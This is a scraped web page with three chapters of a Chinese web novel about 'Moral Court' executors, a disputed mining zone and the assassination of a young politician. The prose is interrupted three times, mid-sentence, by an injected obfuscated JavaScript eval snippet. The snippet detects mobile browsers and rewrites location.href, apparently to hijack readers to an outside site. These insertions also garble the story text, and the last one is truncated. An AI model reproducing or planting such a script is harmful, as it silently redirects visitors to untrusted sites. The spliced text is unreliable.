听到她这样说,小象心里也确实轻松了一些。但小一却是心里更沉重了,那是她从小就看着盛开,枯萎,再次结苞的花丛,她又怎么能不为鲜少还能陪伴她的存在逝去感到悲伤呢? “…我会将它,将我们的家夺回来的,然后,阿姨。”小一看向小二,笑着轻声说道,“这次的话,不如种点别的吧,番茄怎么样?” “如果您这样想的话。”小二点头,“我绝不会令您失望的。” 小四看着二人,叹了口气,转身面向小六微笑道,“说起来,我可没想到能接受道德法庭人员下达的委托呢,这可真是令我感到惶恐。” “哪里哪里。”小六摸了摸脑袋,“你们能凑齐设备就够让我惊喜的了。” “那么,可否也让我知悉一二您要研究的东西呢?”小四摸了摸下巴说道,“当然,这只是我个人的请求,我相当好奇道德法庭来的大人物所研究的是什么样的东西,那一定是走在人类前沿的研究人员才能做到的吧…啊当然,如果您要保密的话我也完全理解,我只是好奇。” “啊…我确实不太方便告诉你。”小六说着看了看左右,想了想说,“不是什么重要的东西啦,不过是地下——” “停。”小三捂住了小六的嘴,义正言辞地对小四说,“你被禁止和她说话,这是我作为执行人提出的要求,你的回答呢?” “…当然了,执行者大人。”小四笑了笑,抬手招呼人送小六前往实验室,重新看向小三,“您对于我这样经常看电视的人可不陌生,既然是您亲自来,那一定是有其它的需求,我说的没错吧?” “是有点事想问你…”小三看向小一,“你们还有事要谈吗?” “…与几位要谈的事相比不算重要。”小一斟酌着说,“不过,您要谈论的内容一定与这座城市,或者说与这国家的未来有关吧,那能让我也听听看吗?” “…我倒是没关系。”小三看向小象,小象点头,她又看向小四,“你呢?” “当然了。”小四侧身,“随我来吧。” 熟悉的办公室,熟悉的座位,熟悉的助理,熟悉的茶杯。小三向小四解释了一番自己的目的。 “…我明白了。”小四垂着眼若有所思,“这可真是…” “那个人也失踪了吗?”小一意外道,“与我的母亲不同,那位没道理跑走吧,有已然认罪的集团在背后,她即使是逃走也没人能帮忙的。” “确实是这样的情况,所以我怀疑她是被谁带走了。”小三点头,“你知道这样的对象可能是谁吗?” 小一一愣,可怀疑的对象太多了,但嫌疑最大的就在旁边,就是小四,想到这她忍住没移动眼神看向旁边。 “…好啦,不用这样。”小四摆了摆手,叹了口气说,“我就直接说了,我知道那位的下落。” 小三点头,等待下文。 “但是很遗憾。”小四摊手,“那位已经死了。” “怎么死的?”小三没有犹豫,皱眉问道。 “您希望是怎么死的呢?”小四反问。 “…你知道自己是在和谁说话吗?”小三沉声道,“重新给你一次机会,她,是怎么死的?” “感谢您的机会,执法者大人。”小四微笑没有变动,“但我也是在给您,给各位一次机会不是吗?我可是很少这样慷慨——” “小五。”小三冷声道,“把这个人控制住。” 都没人能看清小五是怎么动的,只是一阵风的功夫,小四就被小五以标准擒拿压到在地了,她本人更是脸贴在地毯上了才反应过来。 “你所说的是在挑战执行人守则。”小三站起身,俯视小四道,“回答我,记住,我不会再给你第四次机会了。” “请,请稍等一下!”小一连忙起身劝阻,“小四老师并不是在暗示各位那种事情,我想——” 她是,小象在心里这样说。 “道德法庭不干涉国家政治,也不接受任何国家文化。”小三紧盯地上的人说道。 “咳咳——”小四艰难地开口道,“这可不限于单个国家文化,若那位是自杀的,推动者不就只可能是法庭的各位了吗?” “畏罪自杀不干涉法庭判决。”小三冷声道。 “民众也会这样想吗?”小四笑着问。 小三沉默了。 “公平,公正,不都是需要时才会被想起来的东西吗?”小四的声音从地面上传来,“就和食物,电源,光一样,饿了才哭喊着要食物,断电了才意识到活着其实很难,天黑了才知道要回家。您瞧啊,这些切身的才是民众睁开眼就在乎的东西。” “…法庭不在乎这些看法,法庭的公平是绝对的。”小三说。 “那为何还会有第三层案件被接受审理呢?”小四问道,“国家法律,难道也是绝对公平的吗?” 她好像只是在反问什么,但接下来没有新的语句出现,于是小象逐渐意识到她好像是在等待着谁去回答她的,回答者一定得是来自道德法庭的某个人,可小三沉默着,小象也不知该如何回答她。 “…第三层案件被接受审理的原因,并不是因为民意的重要性,而是因为我们有自己要做的事情。”出乎意料的,回答她的人是小五,她动作没变,只有毫无起伏的语句从张合的口里流出,“道德法庭要解决的是人类这一整体直接面对的问题,而你们之中的大多数,是无法理解这个问题的。” “…那您又是哪位?”小四转动眼珠,“难道您是作为机器人成功理解了这个问题,理解了人类的问题吗?” “…陷在问题中的人是看不见问题的。”小五没有直接回答。 可那被困在问题中的却才是最想解决问题的人,小三意识到,她居然有一瞬间是想要去解决“法庭不受民众待见”这一问题的,她在心中嘲笑自己哪里有资格去教育小象,她自己都没法完全贯彻执行者守则。 “放开她。”小三开口道。 闻言,小五抬头,她像是卡顿了一般没有动作,但很快,她就松开了手,沉默地回到了小三身后。 “感激不尽啊。”小四揉着手腕站起身,理了理头发问道,“那么,您意下如何呢?执法者大人?” “…那个人的尸体呢?”小三问道。 “很遗憾。”小四摊手,“我们这的情况您也知道,尸体必须尽快火化,不然会引来疾病的。” “火化证明呢?”小三追问。 “您需要的话,我们当然很乐意为您准备。”小四微笑点头,又忧虑起来,“但是,最近事务繁忙,我们——” “行了有话就直接说。”小三不耐烦道。 “…当然。”小四顿了顿,回答道,“我听闻,贵法庭预备将矿区移交给国际托管协会管理。但是一来那块区域现在被外来人员把守,二来几位来了本地难免会不适应,如果,我是说如果,各位需要一些本地人帮忙的话,我们相当乐意效劳。一来——” “行了我知道了。”小三打断道,她扯着兜帽看了看小象,又很快移开眼神说,“我们总不至于找上反对法庭的势力带路,你说的我记着,去准备东西吧。” “当然了!”小四的笑容更深了些,“几位请用些茶吧,我这就去。” 随着小四离开,小三狠狠叹了口气,坐回到沙发上,她抬头,发现小象正看着她,一口气差点没顺上来。 “…你想说点什么吗?”她低声问道。 “恭喜你,任务完成了。”小象拍了拍手。 小一还在现场,小三想骂两句都不方便,她深吸一口气,什么都没说。 “…说起来,各位成功进那矿区调查了呢,真是了不起!”小一挑起了话题,“那可是堪比武装警察的部队,寻常人靠近都害怕,各位不但进去了还成功完成了调查,不愧是道德法庭的执行者!” 几乎全程被小五背着行动的小象摸了摸脑袋,不好意思道,“哪里哪里。” 小三冷笑一声,没说什么。 “…说起来,这位,小五小姐,真的是机器人吗?”小一好奇道,“怎么看都和真人一模一样啊。” “因为是手动操控型机体。”小五开口,“不过,那位为何能直接认出我是机器人呢?这一型号的机体还未发布过任何消息,这很奇怪。” “…小四老师总是什么都知道呢。”小一无奈道,“可能是见过类似的存在?不过说实话,现在市面上也就扫地机器人比较常见了,即使您是操控型,做得这么逼真也真是…” “安心吧,这类机体不会流通的。”小五说,“不会出现在任何人的家里,不会出现在街头,不会出现在战场。” “所以你就是唯一。”小象点了点头,“那你也应该是唯一的操纵员了吧。” “…也就我了。”小五点头。 “是为您特地定制的吗?”小一讶异道,“那您一定相当受重视,我只知道有父母为孩子定制义肢的,但——” “不一样。”小五打断道,她语速罕见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296752|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地有些快,“这不是义肢,我从不需要义肢,我从未残缺过。” “…抱歉。”小一轻声说。 小五没再说话。 “说起来,你最近住在哪呢?”小象问道。 “小四老师帮了忙,请不用担心。”小一笑了,“老师她虽然喜欢挑别人不爱听的说,但实际上很关心我们呢。” “…后面那部分我可没体验过哦。”小象无奈道,“不过这样就好,我相信你总会有搬回那里的一天的,那可是你们的家。” “…确实。”小一沉默片刻,又开口道,“实际上,比起夺回自己的家,我想的更多的是借此机会树立自己的威信…” “有什么不好?”小三转头,“一举两得的事情,你在愧疚什么?” “…也是,我不该愧疚的。”小一笑了。 “那就对了。”小三转过头看向天花板,“有些事情,是不该被分得那样清的…” “…您真的是那样想的吗?”小一皱起眉问道,“我,我很感激各位能帮助我们,也理解老师的苦心。但对您这样的执行人而言,有些事情是必须看清楚些的吧,比如说自己所做的和想要的到底是什么?” “…你又是站在什么立场上来指责我呢?”小三疑问,“政客?逃跑官员的孩子?反对派的成员?” “…一个像您一样需要自己决定一些事情的人而已。”小一轻声说,“比起愧疚,我选择为此感到愤怒。” 她抬头,扶了扶眼镜浅笑着说,“这样的话,无论是从内还是外,我都不再需要说服我自己了。” “…你倒是个不错的说客。”小三笑了。 “若是我说的话能起点作用,那是我的荣幸。”小一点头,起身,“我就先告辞了,希望还有见到各位的一天,保重。” 门开了又关。 “所以,你刚才是有在为自己的选择感到内疚吗?”小象意外道,“所以你才那样看我。” 小三缓缓叹了口气,她并非是为了自己的选择感到内疚。她一开始态度坚决,却转变态度选择接受小四的提议,这之间的改变是无法告知小象的,对方只会看见她的选择,她当了一次十足的坏榜样。 “…你认为民众对法庭而言重要吗?”她问小象。 “…如果人类死光了,那我们确实就没工作了。”小象回答道,“不那么极端的话,如果没人信任法庭,那法庭就也没有存在的必要了吧。” “错误的。”小五突然开口,“道德法庭的存在并非仅仅是为了‘当前的人类’,也没有‘存在的必要’一说。‘法庭’作为存在形式不过是为了让人类适应我们‘解决问题’的行为而已,无论人类是否需要,我们都会存在,并且解决问题。” “…你这话说得好像法庭里的所有人都无所不能,审判长们或许能这样吧,但是,我就并没有解决任何问题啊?”小象忍不住说,“这样的话你们到底是为什么要设立执行者部门,又为什么要招揽我们这些普通人呢?” 小五张开嘴,但她什么都没说。 “你又在追逐意义的问题了。”小三点了点小象的脑门,“我之前是怎么说的?如果你觉得民众对法庭而言是重要的,那就记住自己的观点,当好执行人,不要把问题扩张到那么大。那不是你能解决的,你只会因此而感到痛苦,明白吗?” “…我明白了。”小象回答。 “你没有。”小三冷笑,“你还有得受的,再被这个过程折磨个几年吧,到时候如果你还活着,那你就是个合格的执行人了。” “好吧好吧。”小象叹了口气,又好奇,“说起来,之前负责我工作的那位去哪了呢?” “…执行人有被罢免的有退休的有死掉的。”小三回答,“她是最后一种。” “…这样啊。”小象忍不住疑惑,“我还以为这个职位算是安全的。” “这个世界上没有安全的人。”小三说。 “可我们不是很难死掉吗?”小象问,“那位是怎么死的呢?” “我还真不知道。”小三摊手,“我们负责范围差得可远了,不过自从她死去之后,书记就没再禁止工作时彼此联系,很多情况也都放宽了许多,想来是不太好受的死法。” “是神经毒素。”小五开口道,“是长期,慢性病发的特种神经毒素,病发时整条神经都乱掉了,因为毒素已经侵入了神经的每一寸。并不是什么很强的毒,但是就连我们也没办法还原一条疯掉的神经。” “…你知道的倒是多。”小三意外道,“不过,最后她是怎么死的呢?” “…她…。”小五吐字有些迟钝,顿挫之间竟是像有情绪,“法庭因其精神状态判决她不再拥有人权,随后,我们杀死了她。” “…那对她而言反倒是一种安息吧。”小三说道。 “不。”小五否认,“那不是安息,我们杀死了她,不需要矫饰。” “…你倒是比我更适合当个执行者。”小三看向小五,“如何?下次有空位的话需要我向书记推荐你吗?虽然她大概是不会听的吧哈哈哈——” “请务必不要这么做。”小五说。 33. 道德法庭与这个世界-下-1 “样本中所带有的放射性元素对生物具有极强的侵略性,不控制接触的话,甚至有侵蚀细胞的风险。”小六为几人带来了初步观察结果,“具体数值等我们实验室反馈吧,不过无论如何,现在实验室里的那些样本必须尽快销毁。” “交给我吧。”小五点了点头,进入实验室中。 看着对方远去,小六疑惑道,“那个人,没穿防护装备诶。” “她自己有一层壳。”小三说道,“辛苦你了,这里也没你别的事,尽快离开这个国家吧。” “…好吧。”小六回应道,她总觉得自己像什么用了后就可以扔回去的工具人,但对方是执行人,自己有什么不满也没法说。 “我们接下来还有别的事,就不送你了,需要我联系那边的人吗?”小三问道。 “不用了,我自己会走。”小六说道,转身离开了。 “真希望那些人没挖多少出来。”小象说着自己都不信。 “接下来有得忙了。”小三叹了口气,“这个报告结果放现在那些人可不一定接受,说不定还会反过来说是我们想独占资源,好吧人已经这么说了…最好的情况也不过是我们能在事情闹大前把那块矿区控制住,最坏的…想不出来,这玩意没有底线啊。” “最坏的,不就是这里开始打仗?”小象皱眉,“战争发生在这里,但却不是这里主动挑起了。” “那可算不上最坏。”小三摇了摇头,看向小象微笑着说,“总之做好准备吧送货的,这种情况你要干的活最多了。” 小象背上突然就麻麻的。 正式的检测报告没让世人等多久,但就像小三所说的那样,并不是所有人都接受这石油居然有副作用存在,而这不接受的人大多主动聚集在了矿区附近。资源托管委员会的人抵达本国差点没能过得了海关,是小三带着小五全程护送,再加上小四带着些本地人开路,才让她们也有机会靠近矿区。 与托管团队的负责人说明情况后,对方对自己的工作有些担忧了起来。 “我当然有提前做好准备…”负责人看着远处的帐篷群,“但是…我实话和您说了吧,这情况,我们估计每天都得遭到突袭。再加上这里的防护措施居然就这么点,别说管理了,隔离有害物质都做不到吧。” “突袭的问题有这些人帮忙看着点。”小三指了指小四,皱着眉,“防护措施…你们没准备过吗?检测报告应该公布很久了。” 负责人与自己的团队成员面面相觑,最后有些尴尬地说,“我们以为这里既然有挖掘工程那就会有相对的防护措施才对,没想到…” “没想到这里的人命这么不值钱?”小四笑着问道。 “我,我不是这个意思!”负责人连连摆手。 “…那些挖掘工人大多是集团负责人从本地找来的,原先那些守卫倒是集团自己的人,现在包围在外面的多是支援国派兵,自己的装备就足够保护自己。”小象说道,这几天她不知跟着小三在这矿区里外跑了多少趟,又接到书记的突发任务送了十几次包裹,她知道了很多,也产生了许多疑问。 “防护措施的话…我们倒是也可以帮忙。”小四开口道,“小一小姐最近在积极参与我国国土安全问题,我们可以从国家医疗中心取得一些帮助,虽然说不上是最好的装备…” “不不不,那真是帮大忙了!”负责人感激地说道,“多谢,你们才是真心地在为这个国家的人民考虑!” “那是理所当然的。”小四露出正派笑容回答。 小三皱着眉看向小四,先前对方说只是希望“协助”,但提供大量装备的行为是否超出“协助”的范围不说,接管团队的各种信息都会被对方得到,再加上几乎作为其代言人的小一近期表现出更为强硬的政治倾向… “你也觉得那家伙在打坏主意吗?”小象悄悄凑过去问。 “肯定的。”小三笃定点头,又有些犹豫,“不过…她确实是在为本国考虑,那就不会做出干涉法庭行动的事。” “…不干涉法庭行动的情况下,我们也不该干涉她们的选择。”小象说。 “是这样没错。”小三看了眼小象,“不过,你不会是在劝我吧?你是不是又跑去人家家里蹭吃蹭喝了?” “…我没有!”小象郑重道。 真没有,而且以后应该也不会有机会了。在小一公开表示应该支持法庭的行动之后,有蒙着面罩的人推翻了她们家花园围墙,把屋子直接砸成了废墟。石子小路混入街道上的泥,脚印像虫子一样满地乱爬,围墙规划出的界限与残花败叶共同泯灭在一起,没人再能从那灰黄街道中分辨出,到底哪里才是小一的家。 “…没关系。”小一在电视上回应记者自己对这一情况的看法,她的微笑坚不可摧,“这个国家才是我真正想要守护的,唯一的家园,所以…” 在多方推动下,过渡委员会成功在矿区扎下了新的帐篷,并着手开始进行危险化学品管制工作,小六作为第一分析者也回到了这里,这次她有记得带上自己的设备。 “分析工作不是已经完成了吗?”小象疑问道,她这些天的任务中有不少信件,她不由得怀疑这里真的要开始打仗了。 “…分析工作是做不完的,执行者大人。”小六一副说了你也不懂的模样,她不太想和这位外行解释自己的工作,但对方是执行者,自己总得回答对方的问题。 “…除了分析,你还有别的工作吗?”小象问道。 “协助布置安全区,研制针对放射性物质的药物,反正很多。”小六心不在焉地回答着,“在把这里——” “小六女士?”小四拉开帐篷门问道,“一号实验室那边有人叫你。” “哦!好的。”小六迅速就跑了,“麻烦你来叫我了。” 小象看着小四,疑问道,“你不是被禁止和她说话了吗?” “执行者大人,我们作为同事总不可能无交流。”小四摊手,“解释之后,它被解除了,就是这么简单。” 小象沉默地看着对方。 “您有任何问题需要我回答吗?执行者大人。”小四微笑着问道,没有任何不自然。 “…你,根本就不是这个国家的人。”小象说,“和小一不同,你为什么…你想要的到底是什么?” 帐篷内安静许久,小四的笑容没有变动,她听见帐篷外有人奔跑的声音,侧耳,轻声道,“我作为一个外来者都明白这里发生的不公,想要让这里恢复和平,让这里的人们能回到家园。您又是在疑问什么呢?执行者大人?” “就当是这样吧。”小象不想和对方辩解,“那换一个问题,你什么时候走?” “…那就,当这里真正恢复安全的时候吧。”小四指了指地面。 时间往前走,普通的一日,小一来到矿区视察接管进度,她身后跟着小二,以及好几个装备没那么精良的安保人员。她长高了,身上西服的褶皱变成了她举手投足彰显态度的一部分,她看见小象,抬手打招呼的样子也和电视上的那个人没什么区别。 “小象小姐,好久不见了!”小一与小象握手,“这次能遇到你真是巧,我的朋友。” “好久不见。”小象笑道,“你长高了!” “…哦!”小一一愣,有些不好意思地说,“是啊…没想到时间都过去这么久了。” 其实也没有很久,小象心想,年轻人总是长得快。 小四带着人在过渡区逛着,她们交谈,并被拍下合照,小一和很多人,很多设备,很多莫名其妙的东西合照,最后她没有留在这里吃饭,她要走了。 通讯器震动,小象迅速查看,居然是小三的电话,明明她人就在不远处。 过渡区建立开始后,小象,小三和小五还是没分开行动,应小五的要求,二人有任务都一起完成,但很遗憾,小象的身手并没有长进多少。 “有武装团队在靠近矿区。”小三的声音没那么紧张,这种事隔三差五就要发生一次,小六都快习惯了。 但这次小一也在这里,小象一顿,问道,“要加急把小一她们送走还是?” “她不是也带了护卫?让她们在帐篷里好好待着就行。”小三说道,“小五已经在前面站着了,不急。” 小五无愧于她“快速行动”的特长,每次过渡区外发生武装冲突时应对的主力都是她,有时小象都好奇她背后操控者会不会觉得自己在玩第一人称动作游戏。应国际公约,非战场环境下,小五从未杀死过任何一人,这也是她被袭击方恐惧的原因之一。 “…居然有这种事。”小一得知情况后很快便冷静了下来,她思索片刻,说道,“我明白了,不用担心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296753|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的,我相信各位。” 带着自己的部队和小二,小一被安排停留在一个安全的角落。 过渡区外,小五一个人站在因多次袭击已然变成废墟的山林中,随意地整理着自己的手套。但仅仅如此,袭击方潜藏在掩体后的武装人员便逐渐停下前进行动,并开始尽量隐藏自己。 因为那些人都知道小五有扫描功能,她不睁眼也看得见是谁对她开的枪。 “我看看。”小三观察着袭击方组成,“大多数是…雇佣兵?” “嗯?”小象意外,“那这次就很难被算进反执行了。” 由于“不杀人限制”下能采取的手段有限,面对雇佣兵与面对正规武装人员需要采取不同的对战方式:后者在击败后丢回去或者放着不管就行;前者更麻烦点,这些人大多数身分不明,战斗力更高,个别还有自己的目的,处理起来更耗时间。 “…会和小一在这里有关吗?”小象有些担心。 “有可能。”小三若有所思,“总之先应敌,小五,把那些人拦在尽可能外面的位置。” “我明白了。”小五睁开了眼。 冲突平息得很快,过渡区安保人员抵达前线后对方已被小五处理了大半,虽然这样的情况已经不是第一次见,但发出的疑问是相同的。 “…我们,是不是根本没必要来这里呢?”一人摸了摸手上的枪,“这里交给她就行了吧,她不是机器人嘛,根本不会受伤啊。” “是啊是啊。”另一人点头,“诶,不过这次后头有个官员看着呢,咱们得表现一下吧。” “也是。”另一人答应,“走,去看看有没有东西能摸。” 随着冲突平息,小象总算是能松口气了,她正准备回帐篷找小一,临近门口,她发现这里好像太安静了。 威慑型武装人员哪怕站着不动也是很吵的,装备摩擦,喝斥,通讯器信号,何况是一整队的人,但帐篷里没有任何声音发出。 不好的预感与心跳声一同吵嚷起来,小象急步拉开门,门内,满地的血赤条条地裸露在人体之外,小一带来的武装人员全都倒在地上没了气息,死于脖颈处的横向裂纹。再往里看,小一也斜着倒在椅子上,她的心口从背后冒出刀尖来,血是往后流的,她的西装没脏多少。她的身后,一个她带来的武装人员横倒在地,脖颈横裂。 她的身边,小二站在那里,她低着头,静静地,静静地看着自己死去的主人,手上拿着一把用来裁开信封的钝刀。 小象被血与尸体排除在外,帐篷里太安静了,但是,但是小一刀眼睛还睁着,她还看向帐篷外的方向,看着小象。 小象跑进屋内,跨过尸体,靠近小一,她伸出手,才发现手指的颤抖,很快,她又将手伸了回来。 “…我…没能…完成…没能完成嘱托…我…没能照顾好…我…没能回去…我…没能…让她看到…花园…花园…”小二开口,她的声音太沙哑了,小象抬头,这人明明早就到了足够被称为老人的年纪,时间却仿佛此时才注意到这个漏网之鱼一般,报复性地把所有苍老与疲惫倾倒在小二的身上。 她的衣服上没有血,却也不再工整了,她的头发没有乱,但也不再精神昂扬了,她面无表情,却不再令人感到安心了。 她的手,手里的刀,脚上的皮鞋,没有沾上任何一点血,但她却被负罪感压垮了,她好像想要跪下,但脊骨却直挺挺地拉着她。 小二还在继续说着些什么,但小象不明白对方为何要说这些,语气既不愤怒也不悔恨,只是陈述着自己没能完成的东西,明明现在会为此责怪她的人已经不复存在了。 小象被巨大的悲伤与迷茫冲击,一切还没到结局,她什么都不知道,但眼前小一的尸体却让她不得不发出疑问来: “我,是不是做错了什么呢?”她不知道该问谁,但疑问就是流出口了,“我…当时是不是就不该留在那里的,我不该吃那块甜饼的,她是对的,我该回去的,我不该留在那里的,我,我没能遵守守则,所以才——” “对。”小二也恍然,“对,我不该留着那块公章的,我该丢去,我不该因为留恋上一任主人而留下她的东西,是我,是我…” 她言语间仿佛领悟了某种真谛,令她得以重新抬起头,逝去的东西回不来了,但她看见了前方的某些东西。 34. 道德法庭与这个世界-下-2 后来,根据帐篷内的监控,几人得知是小一带来的护卫队中的一个趁小二泡茶的功夫暗杀了小一,并试图趁乱逃跑,然后小二将所有人都杀死了,用桌上那把信封刀。 “…那个人的背景我确认过的。”小四捏着额头,声音难得不带笑意,“但是,那人家里的宗教反对道德法庭的存在,所以才——” “你为何在为杀人者找借口?”小五问道,“难道说,你要理解那个杀死了你的学生的人吗?” 小四没再说话,抬手捂住了脸。 按照国际公约,过渡区属于联合国,若发生死亡事件则交与联合国或道德法庭的执行者处理,托管团队的人一点都不想靠近满是血迹的帐篷,决策权便交给了小象与小三。 监控已经说明了真相。 “…小一作为视察官员,死在这里毫无疑问是我们的责任。”小三面色凝重,“如果这个时候没人承担责任的话,那责任就只能由我们来担。” 当时现场唯一剩下的活人就只有小二,她站在一旁一言不发,手背在身后,仿佛事不关己。 “啥呀?!”小六作为道德法庭的一员也在这里,她倒是对现场没什么意见,但对小三的话意见很大,“你,您不会是想说让这个老奶奶去担责吧?!” 小三没有说话,眼下这已经是最好的选择。新闻没法在乎细节的,电视和报纸版图就那么大,得塞进去一个足够吸引眼球的对象才能引走注意力,细节当然会如实奉出,但后面的小字只有真正在乎的人才会去看吧。 “不是,我们都看过监控的吧?!”小六左右环顾,“明明不是她的错吧?是那个背后捅刀子的人干的吧?明明你们都知道——” “闭嘴。”小三厉声喝道,她哪里不清楚真相,哪里需要眼前这个只看得见眼前的人重复真相是什么?地上,真相不是淌得到处都是吗? 小六一吓,不再说话了,但她的内心却依旧为此无法释怀。 “…放她走吧。”小象说。 “你…”小三抬头。 “…我们,无论为法庭争取什么都没有意义的吧。”小象说,“我们作为执行者处理好案件就行,小二并不是杀死小一的凶手,那就让她走吧。” 说完,小象就做好了挨骂的准备,但小三一句话都没说,她抬头,看见对方垂下头,似乎是在看地上的血,或者血带来的,她自己的倒影。 “…就这样吧。”她轻声说,转身离开了帐篷。 “哇…”小六皱眉看着对方离开,“她在不满什么啊…” 小象摇了摇头,看向小二,“你要去哪?” 小二没有回答,她看向小象,眼神空洞无神,她摇了摇头,抱起小一的尸体离开了。 “…回去吧。”小四说道,“我们还有要做的事情,回去吧。” 小一在过渡区死亡的消息可以说激起了惊涛骇浪,她未成年政客的身份本就吸引了许多国际关注,这次视察之后本还有个联合国会议要开,现在维和会议直接取消了,改为讨论过渡区是否应该换人管。她的死再加上道德法庭与一系列标签,排列组合一下,短文标题随随便便就能起几百个。 小象对此最直观的感受是,过渡区所面临的武装冲突次数大大增加了,小五换电源的次数也是,小象偶尔去完成任务,看到过渡区外的景象才会恍然:战争或许早就开始了。 从那以后,小三大大减少了与过渡区其它人交流的次数,她总是神出鬼没地出现在小象附近,却只是待着,也不“普通聊聊”了,反倒是小五偶尔会和小象就任务内容聊起来。隔着台机器人,小象偶尔也能听些出对方的情绪,但她这样说了之后小五反而生气了。 “…该死的。”她这样喃喃自语,对象倒不是冲着眼前的人。 “…怎,怎么了?”小象疑惑,“你也被训练要控制喜怒吗?隔着着台机器人没什么意义吧。” “…恰恰相反,不过我不能回答这些问题,不要再问了。”小五说着看向小象,“我发现最近你提及‘意义’的次数有点太多了。” 小象一愣,沉默许久,说道,“我只是觉得…我在想,只是想想啊,我完成的这些任务,是不是其实…对这个国家的和平…没什么帮助呢?” “当然了。”小五果断回答,“法庭又不是维和会,不会以此为目标。” “…也是啊。”小象笑了笑。 “同时,法庭也不会主动引起战争,哪怕是以借执行人的手完成任务的形式。”小五说,“就你的话来说,这没有‘意义’。” “那,还能是为了什么呢?”小象疑惑,“这个国家面对的问题不就是战争吗?” “不是,该国当前的问题由自然法庭判决,那就是自然生态相关的问题。”小五说,“你一开始的任务也与战争不相关吧,小三的也是。” “…确实。”小象愣了愣,“所以,要解决的其实还是矿区那里的事吗?” “对啊。”小五为表疑惑歪了歪头,“你的任务大多是从矿区进出,都过了这么久了你还是没发现吗?” “…你是不是在骂我?”小象疑问,“你,操控人,你在骂我被我发现了你知道吗?” “本机体没有那种功能。”小五正过脑袋说。 “…算了。”小象叹了口气,“任务都是书记派的,那她一定是在知道一切的情况下派发任务的吧,说不定这里最后的结局也…” “你们书记什么都不知道。”小五说。 “…你到底是哪个部门的?”小象问。 “…不便透露。”小五回答,“这条规则并没有被公开,不过,如果你去问的话她就会告诉你:你们书记不被允许接触‘法庭之外’的任何信息,她知道的只有案件信息,你们带给她的,调查部门整理审查过的,顶多再加上法庭里的人闲聊时无意透露的。你玩通讯器时刷的那些帖子内容她都看不了,除非你主动口述告诉她。” “…这里到现在都用不了手机,我用通讯器上网也是没办法的。”小象义正言辞道,又疑惑,“那她是以什么为标准发放任务的呢?” “模拟结果。”小五说,“经济法庭审判长已经模拟过五轮此星球工程了,模型虽然还没正式投入使用但也已经进入测试阶段,本次案件也是她的测试机会之一,顺利的话不久后就要正式投入使用了。” “…经济法庭的审判长是何许人也…”小象不知道该说什么,她已经习惯小五什么都知道一些了,但审判长的事她是真第一次听说。 “说是,社会工程师。”小五说。 凑巧,小象对这一称呼确实有印象,过渡区总有些有头有脸的人物会坐着直升机过来,说是视察,但其实也就是被领着在那些帐篷周围——尤其是守卫与托管团队的工作区域看一圈,拍个合照发表个感言什么的。法庭这边的人从不出镜,但小四总会准时出现,每当她觉得对方是个脑子不好使但有利可图的家伙时,她就会把“社会工程师”的名头搬出来唬人。 “那不是骗子吗?”小象疑问,她总觉得小四就是在打着社会的名头骗人,她对本国反对派的人也是这样,只是在用声音吸引别人跟着她走。 “…也可以这么说吧。”小五点头。 日子就这样过了挺久,过渡区内每天都差不多一个样子,没什么大事,小四偶尔会来,与这里的人——尤其是小六谈点什么,然后又走,最近她和小象说话时也没那么喜欢故意惹人生气了,或许她没了遣词造句的精力。小五只负责过渡区外的战场,更向外的情况由外面的人自己处理,小四就是那外面的人之首,谁能想到她本是更外面的人呢? 小象一直很疑惑,她为什么还不走。 一天夜里,小三突然找上小象,步履匆忙,面色凝重。 “你知道小六她们在研究什么东西吗?”她问小象,不过这种情况她自己会回答自己的问题,小象等着。 “她在研究将过渡区类石油资源‘无害化’的装置。”小三掏出通讯器给小象看照片,多是些奇形怪状的设备和数据,小象确实见过不少,但她从不知道那是用来干什么的。 “…怎么了吗?”小象疑惑,“这里不是本来就该——” “你傻了吗?”小三气道,“我们本来就只是来协助‘托管’资源和恢复生态的,别说那玩意有害,即使真的是石油我们也是不能不该采集的!她研究的方向顶多能是‘受到该物质侵害后’的治疗器械,而不是想着先一步把那玩意无害化。它是不可以被取出来用的东西,你明白吗?” 小象恍然,“对哦…道德法庭的人没道理那么做。” “而且。”小三点头收起通讯器,“装置能不能真的起效还不一定,毕竟化学组那边的人到现在也只是检测出个大概。更别提这里的人根本就没有直接面对异常辐射的防护装备,这研究不能继续下去了。” “…小六没道理那么做。”小象说,“应该是小四指示的,是她想利用这里的资源。” 二人找上小六,她先是慌乱,但很快就冷静了下来。 “…我早知道有这么一天。”她相当警惕,“你们是来问我的研究的吧。” “你早知道?”小三皱眉,“那你也该早知道这是绝对禁止了,是小四——” “是我自己想这么做的!”小六抬高声音说,“你们根本不知道这材料真正的价值,这可是新发现啊!居然只想着把这里围起来?你们还记得道德法庭的成立初衷是什么吗?” “…用不着你来提醒。”小三声音沉了下来,“它很危险,你根本负不起出事的责任!” 闻言,小六却是笑了,那是傲慢的,“你们又懂多少?你们不过是执行任务的人,把我们得出的结果当工具用,根本就不在乎真实与细节!” “那又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 